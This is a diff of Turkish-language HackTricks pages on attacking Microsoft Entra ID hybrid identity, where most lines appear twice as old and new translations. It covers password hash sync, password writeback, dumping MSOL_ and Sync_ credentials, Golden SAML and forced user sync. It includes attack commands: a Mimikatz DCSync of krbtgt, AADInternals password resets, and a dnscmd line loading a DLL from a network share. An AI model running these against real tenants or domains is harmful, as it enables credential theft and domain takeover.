[Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Parola hash senkronizasyonu**, hibrit kimlik elde etmek için kullanılan oturum açma yöntemlerinden biridir. **Azure AD Connect**, bir kullanıcının parolasının hash'inin, yerel bir Active Directory örneğinden bulut tabanlı bir Azure AD örneğine senkronize edilmesini sağlar.
[Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Parola hash senkronizasyonu**, hibrit kimlik elde etmek için kullanılan oturum açma yöntemlerinden biridir. **Azure AD Connect**, yerel bir Active Directory örneğinden bulut tabanlı bir Azure AD örneğine bir kullanıcının parolasının hash'inin hash'ini senkronize eder.
Temelde, tüm **kullanıcılar** ve **parola hash'lerinin hash'i** yerelden Azure AD'ye senkronize edilir. Ancak, **düz metin parolalar** veya **orijinal** **hash'ler** Azure AD'ye gönderilmez.
**Hash senkronizasyonu** her **2 dakikada** bir gerçekleşir. Ancak, varsayılan olarak, **parola süresi dolma** ve **hesap** **süresi dolma** Azure AD'de **senkronize edilmez**. Yani, **yerel parolasının süresi dolmuş** (değiştirilmemiş) bir kullanıcı, eski parolayı kullanarak **Azure kaynaklarına erişmeye** devam edebilir.
**Hash senkronizasyonu** her **2 dakikada** bir gerçekleşir. Ancak, varsayılan olarak, **parola süresi dolma** ve **hesap** **süresi dolma** Azure AD'de **senkronize edilmez**. Yani, **yerel parolası süresi dolmuş** (değiştirilmemiş) bir kullanıcı, eski parolasıyla **Azure kaynaklarına erişmeye** devam edebilir.
Yerel bir kullanıcı bir Azure kaynağına erişmek istediğinde, **kimlik doğrulama Azure AD'de gerçekleşir**.
@@ -42,15 +42,15 @@ Yerel bir kullanıcı bir Azure kaynağına erişmek istediğinde, **kimlik doğ
### Parola Yazma
Bu yapılandırma, bir kullanıcı Entra ID'de parolasını değiştirdiğinde **parolaları Entra ID'den AD'ye senkronize etmeye** olanak tanır. Parola yazmanın çalışabilmesi için, AD'de otomatik olarak oluşturulan `MSOL_<id>` kullanıcısına [belgelerde belirtilen daha fazla ayrıcalık verilmesi gerekmektedir](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) böylece **AD'deki herhangi bir kullanıcının parolasını değiştirebilir**.
Bu yapılandırma, bir kullanıcı Entra ID'de parolasını değiştirdiğinde **parolaları Entra ID'den AD'ye senkronize etmeye** olanak tanır. Parola yazma işleminin çalışabilmesi için, AD'de otomatik olarak oluşturulan `MSOL_<id>` kullanıcısına [belgelerde belirtilen daha fazla ayrıcalık verilmesi](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) gerekmektedir, böylece **AD'deki herhangi bir kullanıcının parolasını değiştirebilir**.
Bu, ele geçirilmiş bir Entra ID'den AD'yi ele geçirmek için özellikle ilginçtir çünkü "neredeyse" herhangi bir kullanıcının parolasını değiştirebilirsiniz.
Alan yöneticileri ve bazı ayrıcalıklı gruplara ait diğer kullanıcılar, grup **`adminCount` niteliği 1** olduğunda çoğaltılmaz. Ancak, bu gruplardan herhangi birine ait olmadan AD içinde yüksek ayrıcalıklar atanmış diğer kullanıcıların parolaları değiştirilebilir. Örneğin:
Alan yöneticileri ve bazı ayrıcalıklı gruplara ait diğer kullanıcılar, grup **`adminCount` niteliği 1** olduğunda çoğaltılmaz. Ancak, bu gruplara ait olmadan AD içinde yüksek ayrıcalıklar atanmış diğer kullanıcıların parolaları değiştirilebilir. Örneğin:
- Doğrudan yüksek ayrıcalıklar atanmış kullanıcılar.
- **`DNSAdmins`** grubundaki kullanıcılar.
- GPO'lar oluşturup bunları OUs'ye atayan **`Group Policy Creator Owners`** grubundaki kullanıcılar, oluşturdukları GPO'ları değiştirebilir.
- GPO'lar oluşturup bunları OU'lara atayan **`Group Policy Creator Owners`** grubundaki kullanıcılar, oluşturdukları GPO'ları değiştirebilir.
- Active Directory'ye sertifika yayınlayabilen **`Cert Publishers Group`** grubundaki kullanıcılar.
- **`adminCount` niteliği 1** olmayan yüksek ayrıcalıklara sahip diğer gruplardaki kullanıcılar.
@@ -86,11 +86,11 @@ az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronizat
**`MSOL_*`** kullanıcısının (ve oluşturulmuşsa **Sync\_\*** kullanıcısının) parolaları **SQL sunucusunda** **Entra ID Connect'in kurulu olduğu** sunucuda **saklanmaktadır.** Yöneticiler, bu ayrıcalıklı kullanıcıların parolalarını düz metin olarak çıkarabilir.\
Veritabanası `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf` konumundadır.
Tablolardan birinden yapılandırmayı çıkarmak mümkündür, biri şifreli olmak üzere:
Şifrelenmiş olan bir tablo üzerinden yapılandırmayı çıkarmak mümkündür:
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
**Şifreli yapılandırma**, **DPAPI** ile şifrelenmiştir ve on-prem AD'deki **`MSOL_*`** kullanıcısının parolalarını ve AzureAD'deki **Sync\_\*** parolasını içermektedir. Bu nedenle, bunları ele geçirerek AD ve AzureAD'ye yetki yükseltmek mümkündür.
**Şifrelenmiş yapılandırma**, **DPAPI** ile şifrelenmiştir ve on-prem AD'deki **`MSOL_*`** kullanıcısının parolalarını ve AzureAD'deki **Sync\_\*** parolasını içermektedir. Bu nedenle, bunları ele geçirerek AD ve AzureAD'ye yetki yükseltmek mümkündür.
Bu kimlik bilgilerin nasıl saklandığı ve çözüldüğüne dair [tam bir genel bakış bu konuşmada bulunmaktadır](https://www.youtube.com/watch?v=JEIR5oGCwdg).
@@ -112,7 +112,8 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
```
> [!WARNING]
> Önceki saldırılar, Entra ID kullanıcısı olan `Sync_*`'ye bağlanmak için diğer şifreyi ele geçirdi ve ardından Entra ID'yi tehlikeye attı. Ancak, bu kullanıcı artık mevcut değil.
> Önceki saldırılar, Entra ID kullanıcısı olan `Sync_*`'ye bağlanmak için diğer şifreyi tehlikeye attı ve ardından Entra ID'yi tehlikeye soktu. Ancak, bu kullanıcı artık mevcut değil.
### ConnectSyncProvisioning_ConnectSync\_<id>'yi Kötüye Kullanma
@@ -125,21 +126,21 @@ Bu uygulama, herhangi bir Entra ID veya Azure yönetim rolü atanmış olmadan o
- `PasswordWriteback.RefreshClient.All`
- `PasswordWriteback.RegisterClientVersion.All`
Bu uygulamanın SP'sinin, belgelenmemiş bir API kullanarak bazı ayrıcalıklı eylemleri gerçekleştirmek için hala kullanılabileceği belirtiliyor, ancak bildiğim kadarıyla henüz bir PoC bulunmamaktadır.\
Her durumda, bunun mümkün olabileceğini düşünerek, bu hizmet ilkesine giriş yapmak için sertifikayı nasıl bulabileceğimizi ve bunu kötüye kullanmayı araştırmak ilginç olacaktır.
Bu uygulamanın SP'sinin, belgelenmemiş bir API kullanarak bazı ayrıcalıklı eylemleri gerçekleştirmek için hala kullanılabileceği belirtiliyor, ancak bildiğim kadarıyla henüz bir PoC bulunmamıştır.\
Her durumda, bunun mümkün olabileceğini düşünerek, bu hizmet ilkesine giriş yapmak için sertifikayı nasıl bulabileceğimizi ve bunu kötüye kullanmayı daha fazla keşfetmek ilginç olacaktır.
Bu [blog yazısı](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71), `Sync_*` kullanıcısından bu hizmet ilkesine geçişten kısa bir süre önce yayınlandı ve sertifikanın sunucu içinde saklandığını, bunun bulunabileceğini, PoP (Sahiplik Kanıtı) ve grafik token oluşturulabileceğini ve bununla birlikte hizmet ilkesine yeni bir sertifika ekleyebileceğini (çünkü bir **hizmet ilkesi** her zaman kendisine yeni sertifikalar atayabilir) ve ardından bunu SP olarak sürekliliği sağlamak için kullanabileceğini açıkladı.
Bu [blog yazısı](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71), `Sync_*` kullanıcısından bu hizmet ilkesine geçişten kısa bir süre önce yayınlandı ve sertifikanın sunucu içinde saklandığını, bunun bulunabileceğini, PoP (Sahiplik Kanıtı) ve grafik token oluşturulabileceğini ve bununla birlikte hizmet ilkesine yeni bir sertifika ekleyebileceğini açıkladı (çünkü bir **hizmet ilkesi** her zaman kendisine yeni sertifikalar atayabilir) ve ardından bunu SP olarak sürekliliği sağlamak için kullanabilir.
Bu eylemleri gerçekleştirmek için aşağıdaki araçlar yayınlandı: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
Bu eylemleri gerçekleştirmek için aşağıdaki araçlar yayınlanmıştır: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
Deneyimlerime göre, sertifika, önceki aracın aradığı yerde artık saklanmamaktadır ve bu nedenle, araç artık çalışmamaktadır. Bu nedenle, daha fazla araştırma gerekebilir.
### Sync\_\*'yı Kötüye Kullanma [KULLANIMDIŞI]
> [!WARNING]
> Daha önce Entra ID'de `Sync_*` adında çok hassas izinlere sahip bir kullanıcı oluşturulmuştu; bu, herhangi bir kullanıcının (Global Yöneticiler dahil) şifresini değiştirmek veya bir hizmet ilkesine yeni bir kimlik bilgisi eklemek gibi ayrıcalıklı eylemleri gerçekleştirmeye izin veriyordu. Ancak, Ocak 2025'ten itibaren bu kullanıcı varsayılan olarak artık oluşturulmamaktadır, çünkü artık **`ConnectSyncProvisioning_ConnectSync_<id>`** Uygulaması/SP'si kullanılmaktadır. Ancak, bazı ortamlarda hala mevcut olabilir, bu nedenle kontrol etmeye değer.
> Daha önce, Entra ID'de `Sync_*` adında çok hassas izinlere sahip bir kullanıcı oluşturulmuştu; bu, herhangi bir kullanıcının (Global Yöneticiler dahil) şifresini değiştirmek veya bir hizmet ilkesine yeni bir kimlik bilgisi eklemek gibi ayrıcalıklı eylemleri gerçekleştirmeye izin veriyordu. Ancak, Ocak 2025'ten itibaren bu kullanıcı varsayılan olarak artık oluşturulmamaktadır, çünkü artık **`ConnectSyncProvisioning_ConnectSync_<id>`** Uygulaması/SP'si kullanılmaktadır. Ancak, bazı ortamlarda hala mevcut olabilir, bu nedenle kontrol etmeye değer.
**`Sync_*`** hesabını ele geçirerek, herhangi bir kullanıcının (Global Yöneticiler dahil) **şifresini sıfırlamak** mümkündür.
**`Sync_*`** hesabını tehlikeye atmak, herhangi bir kullanıcının (Global Yöneticiler dahil) **şifresini sıfırlamak** mümkündür.
```bash
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
Import-Module AADInternals
@@ -175,7 +176,7 @@ Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37"
Bu kullanıcının şifresini dökmek de mümkündür.
> [!CAUTION]
> Diğer bir seçenek, **bir hizmet ilkesine ayrıcalıklı izinler atamak** olacaktır; bu, **Sync** kullanıcısının **izin** vermeye yetkili olduğu bir işlemdir ve ardından **o hizmet ilkesine erişmek** bir privesc yöntemi olarak kullanılabilir.
> Diğer bir seçenek, **bir hizmet ilkesi için ayrıcalıklı izinler atamak** olacaktır; bu, **Sync** kullanıcısının **izin** vermeye yetkili olduğu bir işlemdir ve ardından **bu hizmet ilkesine erişmek** bir privesc yöntemi olarak kullanılabilir.
### Seamless SSO
@@ -199,4 +200,4 @@ seamless-sso.md
- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,27 +1,27 @@
# Az - Microsoft Entra Domain Services
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## Domain Services
Microsoft Entra Domain Services, Domain Controller'ları yönetmeye gerek kalmadan Azure'da bir Active Directory dağıtımına olanak tanır (aslında onlara erişiminiz bile yoktur).
Ana amacı, modern kimlik doğrulama yöntemlerini kullanamayan veya dizin sorgularının her zaman yerel bir AD DS ortamına geri dönmesini istemediğiniz bulut ortamında eski uygulamaları çalıştırmanıza izin vermektir.
Ana amacı, modern kimlik doğrulama yöntemlerini kullanamayan veya dizin sorgularının her zaman yerel bir AD DS ortamına geri dönmesini istemediğiniz eski uygulamaları bulutta çalıştırmanıza izin vermektir.
Entra ID'de oluşturulan kullanıcıları (ve diğer aktif dizinlerden senkronize edilmeyenleri) AD domain hizmetine senkronize etmek için **kullanıcının şifresini** yeni bir şifre ile **değiştirmeniz** gerektiğini unutmayın. Aslında, kullanıcı şifresi değiştirilene kadar Microsoft Entra ID'den Domain Services'a senkronize edilmez.
Entra ID'de oluşturulan kullanıcıları (ve diğer aktif dizinlerden senkronize edilmeyenleri) AD domain hizmetine senkronize etmek için **kullanıcının şifresini** yeni bir şifre ile **değiştirmeniz** gerektiğini unutmayın. Aslında, kullanıcı şifre değiştirilene kadar Microsoft Entra ID'den Domain Services'a senkronize edilmez.
> [!WARNING]
> Yeni bir aktif dizin alanı oluşturuyor olsanız bile, onu tamamen yönetemezsiniz (bazı yanlış yapılandırmaları istismar etmediğiniz sürece), bu da varsayılan olarak örneğin AD'de doğrudan kullanıcı oluşturamayacağınız anlamına gelir. Kullanıcıları **Entra ID'den senkronize ederek** oluşturursunuz. Tüm kullanıcıları (diğer yerel AD'lerden senkronize edilenler dahil), yalnızca bulut kullanıcılarını (Entra ID'de oluşturulan kullanıcılar) veya hatta **daha fazla filtreleme** yapmayı belirtebilirsiniz.
> Yeni bir aktif dizin alanı oluşturuyor olsanız bile, onu tamamen yönetemezsiniz (bazı yanlış yapılandırmaları istismar etmediğiniz sürece), bu da varsayılan olarak örneğin AD'de doğrudan kullanıcı oluşturamayacağınız anlamına gelir. Kullanıcıları **Entra ID'den senkronize ederek** oluşturursunuz. Tüm kullanıcıları (diğer yerel AD'lerden senkronize edilenler dahil), yalnızca bulut kullanıcılarını (Entra ID'de oluşturulan kullanıcılar) veya hatta **daha fazla filtreleme** yapabilirsiniz.
> [!NOTE]
> Genel olarak, yeni alanın yapılandırmasındaki esneklik eksikliği ve AD'lerin genellikle zaten yerel olması nedeniyle, bu Entra ID ve AD arasındaki ana entegrasyon değildir, ancak yine de bunu nasıl tehlikeye atacağınızı bilmek ilginçtir.
> Genel olarak, yeni alanın yapılandırmasındaki esneklik eksikliği ve AD'lerin genellikle zaten yerel olması nedeniyle, bu Entra ID ve AD arasındaki ana entegrasyon değildir, ancak yine de nasıl istismar edileceğini bilmek ilginçtir.
### Pivoting
Oluşturulan **`AAD DC Administrators`** grubunun üyeleri, yönetilen alana katılan VM'lerde yerel yönetici izinleri alır (ancak domain controller'larda değil) çünkü yerel yöneticiler grubuna eklenirler. Bu grubun üyeleri ayrıca **Uzak Masaüstü kullanarak domain-joined VM'lere uzaktan bağlanabilir** ve ayrıca şu grupların üyeleridir:
Oluşturulan **`AAD DC Administrators`** grubunun üyeleri, yönetilen alana katılan VM'lerde yerel yönetici izinleri alır (ancak domain controller'larda değil) çünkü yerel yöneticiler grubuna eklenirler. Bu grubun üyeleri ayrıca **Uzak Masaüstü ile domain-joined VM'lere uzaktan bağlanabilir** ve ayrıca şu grupların üyeleridir:
- **`Denied RODC Password Replication Group`**: Bu, şifrelerinin RODC'lerde (Salt Okunur Domain Controller'lar) önbelleğe alınamayacağı kullanıcıları ve grupları belirten bir gruptur.
- **`Group Policy Creators Owners`**: Bu grup, üyelerin alanda Grup Politikaları oluşturmasına izin verir. Ancak, üyeleri grup politikalarını kullanıcılara veya gruplara uygulayamaz veya mevcut GPO'ları düzenleyemez, bu nedenle bu ortamda çok ilginç değildir.
- **`Group Policy Creators Owners`**: Bu grup, üyelere alanda Grup Politikaları oluşturma izni verir. Ancak, üyeleri grup politikalarını kullanıcılara veya gruplara uygulayamaz veya mevcut GPO'ları düzenleyemez, bu nedenle bu ortamda çok ilginç değildir.
- **`DnsAdmins`**: Bu grup, DNS ayarlarını yönetmeye olanak tanır ve geçmişte [yetki yükseltmek ve alanı tehlikeye atmak için istismar edilmiştir](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), ancak bu ortamda saldırıyı test ettikten sonra açığın yamanmış olduğu kontrol edilmiştir:
```text
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
@@ -34,10 +34,10 @@ Not edin ki, bu izinleri vermek için, AD içinde **`AAD DC Administrators`** gr
Entra ID'den Domain Services ile oluşturulmuş bir AD'ye geçiş yapmak basittir, sadece bir kullanıcıyı **`AAD DC Administrators`** grubuna ekleyin, alan içindeki herhangi/bütün makinelere RDP ile erişin ve verileri çalabilir ve ayrıca **alanı tehlikeye atabilirsiniz.**
Ancak, alanın Entra ID'ye geçişi o kadar kolay değildir çünkü alandaki hiçbir şey Entra ID ile senkronize edilmemektedir. Ancak, her zaman tüm VM'lerin metadata'sını kontrol edin çünkü atanan yönetilen kimlikleri ilginç izinlere sahip olabilir. Ayrıca **alanın tüm kullanıcı şifrelerini dökün** ve bunları kırmaya çalışın, ardından Entra ID / Azure'a giriş yapın.
Ancak, alanın Entra ID'ye geçişi o kadar kolay değildir çünkü alandan hiçbir şey Entra ID'ye senkronize edilmemektedir. Ancak, her zaman tüm VM'lerin metadata'sını kontrol edin çünkü atanan yönetilen kimlikleri ilginç izinlere sahip olabilir. Ayrıca **alanın tüm kullanıcı şifrelerini dökün** ve bunları kırmaya çalışın, ardından Entra ID / Azure'a giriş yapın.
> [!NOTE]
> Geçmişte, bu yönetilen AD'de DC'leri tehlikeye atmaya izin veren başka güvenlik açıkları bulundu, [bunun gibi](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). DC'yi tehlikeye atan bir saldırgan, Azure yöneticileri fark etmeden veya bunu kaldırma yeteneğine sahip olmadan kalıcılığı çok kolay bir şekilde sürdürebilir.
> Geçmişte, bu yönetilen AD'de DC'leri tehlikeye atmaya izin veren başka güvenlik açıkları bulundu, [bunun gibi](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). DC'yi tehlikeye atan bir saldırgan, Azure yöneticileri fark etmeden veya bunu kaldırma yeteneği olmadan kalıcılığı çok kolay bir şekilde sürdürebilir.
### Enumeration
```bash
@@ -83,4 +83,4 @@ fi
done
done <<< "$vm_list"
```
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,17 +1,17 @@
# Az - Federation
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## Temel Bilgiler
[Belgelerden:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
>**Federasyon**, **güven** kurmuş **alanlar** topluluğudur. Güven seviyesi değişiklik gösterebilir, ancak genellikle **kimlik doğrulama** içerir ve neredeyse her zaman **yetkilendirme** içerir. Tipik bir federasyon, belirli kaynaklara **paylaşılan erişim** için **güven** kurmuş bir **dizi organizasyon** içerebilir.
>On-premises ortamınızı **Azure AD** ile **federasyon** yapabilir ve bu federasyonu kimlik doğrulama ve yetkilendirme için kullanabilirsiniz. Bu oturum açma yöntemi, tüm kullanıcı **kimlik doğrulamasının on-premises** ortamda gerçekleşmesini sağlar. Bu yöntem, yöneticilerin daha katı erişim kontrol seviyeleri uygulamasına olanak tanır. **AD FS** ve PingFederate ile federasyon mevcuttur.
>**Federasyon**, **güven** kurmuş **alanlar** topluluğudur. Güven seviyesi değişiklik gösterebilir, ancak genellikle **kimlik doğrulama** içerir ve neredeyse her zaman **yetkilendirme** içerir. Tipik bir federasyon, **paylaşılan erişim** için **güven** kurmuş bir **dizi organizasyon** içerebilir.
>On-premises ortamınızı **Azure AD** ile **federasyon** yapabilir ve bu federasyonu kimlik doğrulama ve yetkilendirme için kullanabilirsiniz. Bu oturum açma yöntemi, tüm kullanıcı **kimlik doğrulamasının on-premises** ortamında gerçekleşmesini sağlar. Bu yöntem, yöneticilerin daha katı erişim kontrol seviyeleri uygulamasına olanak tanır. **AD FS** ve PingFederate ile federasyon mevcuttur.
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
Temelde, Federasyon'da tüm **kimlik doğrulama** **on-prem** ortamda gerçekleşir ve kullanıcı, tüm güvenilir ortamlar arasında SSO deneyimi yaşar. Bu nedenle, kullanıcılar **on-prem kimlik bilgilerini** kullanarak **bulut** uygulamalarına **erişim** sağlayabilirler.
Temelde, Federasyon'da tüm **kimlik doğrulama** **on-prem** ortamında gerçekleşir ve kullanıcı, tüm güvenilir ortamlar arasında SSO deneyimi yaşar. Bu nedenle, kullanıcılar **on-prem kimlik bilgilerini** kullanarak **bulut** uygulamalarına **erişim** sağlayabilirler.
**Güvenlik İddiası İşaretleme Dili (SAML)**, sağlayıcılar arasında tüm kimlik doğrulama ve yetkilendirme **bilgilerini** **değiştirmek** için kullanılır.
@@ -23,7 +23,7 @@ Her federasyon kurulumunda üç taraf vardır:
<figure><img src="../../../../images/image (121).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
1. İlk olarak, bir kullanıcı bir uygulamaya (Hizmet Sağlayıcı veya SP, örneğin AWS konsolu veya vSphere web istemcisi) erişir. Bu adım, belirli uygulamaya bağlı olarak, istemciyi doğrudan IdP'ye (Kimlik Sağlayıcı) yönlendirecek şekilde atlanabilir.
1. İlk olarak, bir kullanıcı bir uygulamaya (Hizmet Sağlayıcı veya SP, örneğin AWS konsolu veya vSphere web istemcisi) erişir. Bu adım atlanabilir ve istemci doğrudan IdP'ye (Kimlik Sağlayıcı) yönlendirilebilir.
2. Daha sonra, SP, kullanıcı kimlik doğrulaması için uygun IdP'yi (örneğin, AD FS, Okta) belirler. Ardından, bir SAML (Güvenlik İddiası İşaretleme Dili) AuthnRequest oluşturur ve istemciyi seçilen IdP'ye yönlendirir.
3. IdP devralır, kullanıcıyı kimlik doğrular. Kimlik doğrulama sonrası, IdP tarafından bir SAMLResponse oluşturulur ve kullanıcı aracılığıyla SP'ye iletilir.
4. Son olarak, SP SAMLResponse'yi değerlendirir. Başarıyla doğrulanırsa, IdP ile bir güven ilişkisi olduğunu gösterir ve kullanıcıya erişim verilir. Bu, oturum açma sürecinin tamamlandığını işaret eder ve kullanıcının hizmeti kullanmasına olanak tanır.
@@ -36,11 +36,11 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
## Pivoting
- AD FS, iddia temelli bir kimlik modelidir.
- "..iddialar, kullanıcılar hakkında yapılan (örneğin, ad, kimlik, grup) basit ifadelerdir ve esasen internet üzerinde herhangi bir yerde bulunan iddia temelli uygulamalara erişimi yetkilendirmek için kullanılır."
- AD FS, iddia tabanlı bir kimlik modelidir.
- "..iddialar, kullanıcılar hakkında yapılan (örneğin, isim, kimlik, grup) basit ifadelerdir ve esasen internet üzerinde herhangi bir yerde bulunan iddia tabanlı uygulamalara erişimi yetkilendirmek için kullanılır."
- Bir kullanıcı için iddialar SAML token'ları içinde yazılır ve ardından IdP tarafından gizlilik sağlamak için imzalanır.
- Bir kullanıcı ImmutableID ile tanımlanır. Bu, küresel olarak benzersizdir ve Azure AD'de saklanır.
- ImmutableID, kullanıcı için on-prem olarak ms-DS-ConsistencyGuid üzerinde saklanır ve/veya kullanıcının GUID'inden türetilebilir.
- ImmutableID, kullanıcı için on-premises ms-DS-ConsistencyGuid üzerinde saklanır ve/veya kullanıcının GUID'inden türetilebilir.
- Daha fazla bilgi için [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
**Golden SAML saldırısı:**
@@ -53,9 +53,9 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
### Golden SAML
Bir **Kimlik Sağlayıcı (IdP)** tarafından kullanıcı oturum açmasını yetkilendirmek için üretilen bir **SAMLResponse** süreci çok önemlidir. IdP'nin belirli uygulamasına bağlı olarak, **yanıt** **imzalanmış** veya **şifrelenmiş** olabilir ve bu, **IdP'nin özel anahtarı** kullanılarak yapılır. Bu prosedür, **Hizmet Sağlayıcı (SP)**'nın SAMLResponse'nin gerçekliğini doğrulamasını sağlar ve bunun güvenilir bir IdP tarafından verildiğini garanti eder.
Bir **Kimlik Sağlayıcı (IdP)** tarafından kullanıcı oturum açmasını yetkilendirmek için üretilen bir **SAMLResponse** süreci çok önemlidir. IdP'nin belirli uygulamasına bağlı olarak, **yanıt** **imzalanmış** veya **şifrelenmiş** olabilir ve bu **IdP'nin özel anahtarı** kullanılarak yapılır. Bu prosedür, **Hizmet Sağlayıcı (SP)**'nın SAMLResponse'nin gerçekliğini doğrulamasını sağlar ve bunun güvenilir bir IdP tarafından verildiğini garanti eder.
[Golden ticket saldırısı](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket) ile bir paralellik kurulabilir; burada kullanıcının kimliğini ve izinlerini doğrulayan anahtar (golden ticket için KRBTGT, golden SAML için token-imzalama özel anahtarı) manipüle edilerek bir **kimlik doğrulama nesnesi** (TGT veya SAMLResponse) sahteleyebilir. Bu, herhangi bir kullanıcının taklit edilmesine ve SP'ye yetkisiz erişim sağlanmasına olanak tanır.
[Golden ticket saldırısı](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket) ile bir paralellik kurulabilir; burada kullanıcının kimliğini ve izinlerini doğrulayan anahtar (golden ticket için KRBTGT, golden SAML için token-imzalama özel anahtarı) manipüle edilerek **bir kimlik doğrulama nesnesi** (TGT veya SAMLResponse) sahteleyebilir. Bu, herhangi bir kullanıcının taklit edilmesine ve SP'ye yetkisiz erişim sağlanmasına olanak tanır.
Golden SAML'lerin belirli avantajları vardır:
@@ -73,7 +73,7 @@ AWS, tehlikeye giren alanı (bir federasyonda) güvenilir kabul ettiğinde, bu z
Golden SAML saldırısını gerçekleştirmek için gerekenler şunlardır:
- **Token-imzalama özel anahtarı**
- **IdP kamu sertifikası**
- **IdP genel sertifikası**
- **IdP adı**
- **Rol adı (üstlenilecek rol)**
- Alan\kullanıcı adı
@@ -149,4 +149,4 @@ Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http:
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed)
- [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,16 +1,16 @@
# Hibrit Kimlik Çeşitli Saldırılar
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## Entra ID kullanıcılarının yerel sunucuya senkronizasyonunu zorlamak
[https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) adresinde belirtildiği gibi, yerel AD'deki bir AD kullanıcısının **`ProxyAddress`** değerini değiştirmek mümkün oldu; bu, bir Entra ID admin kullanıcısının e-posta adresini ekleyerek ve AD'deki kullanıcının UPN'sinin Entra ID'deki kullanıcıyla eşleşmesini sağlayarak gerçekleştirildi (bu tekrar Entra ID'dir), örneğin **`SMTP:admin@domain.onmicrosoft.com`**. Bu, bu kullanıcının Entra ID'den yerel AD'ye **senkronizasyonunu zorlayacaktır**, bu nedenle kullanıcının şifresi biliniyorsa, bu şifre Entra ID'deki admin kullanıcısına **erişim sağlamak için** kullanılabilir.
[https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) adresinde belirtildiği gibi, yerel AD'deki bir AD kullanıcısının **`ProxyAddress`** değerini değiştirmek mümkün oldu; bu, bir Entra ID admin kullanıcısının e-posta adresini ekleyerek ve ayrıca AD'deki kullanıcının UPN'sinin Entra ID'deki kullanıcıyla eşleşmesini sağlamakla (bu tekrar Entra ID'dir) mümkün oldu, örneğin **`SMTP:admin@domain.onmicrosoft.com`**. Bu, bu kullanıcının Entra ID'den yerel AD'ye **senkronizasyonunu zorlayacaktır**, bu nedenle kullanıcının şifresi biliniyorsa, bu şifre Entra ID'deki admin kullanıcısına **erişim sağlamak için** kullanılabilir.
Entra ID'den yerel AD'ye yeni bir kullanıcı senkronize etmek için gereken tek gereksinimler şunlardır:
- Yerel AD'deki bir kullanıcının niteliklerini kontrol etmek (veya yeni kullanıcılar oluşturma izinlerine sahip olmak)
- Entra ID'den yerel AD'ye senkronize etmek için yalnızca bulut kullanıcısını bilmek
- Entra ID'den yerel AD'ye senkronize etmek için yalnızca kullanıcıyı bilmek
- Ayrıca, Entra ID kullanıcısının immutableID niteliğini yerel AD kullanıcısına değiştirebilmek için **sert eşleşme** yapmak gerekebilir.
@@ -26,4 +26,4 @@ Entra ID'den yerel AD'ye yeni bir kullanıcı senkronize etmek için gereken tek
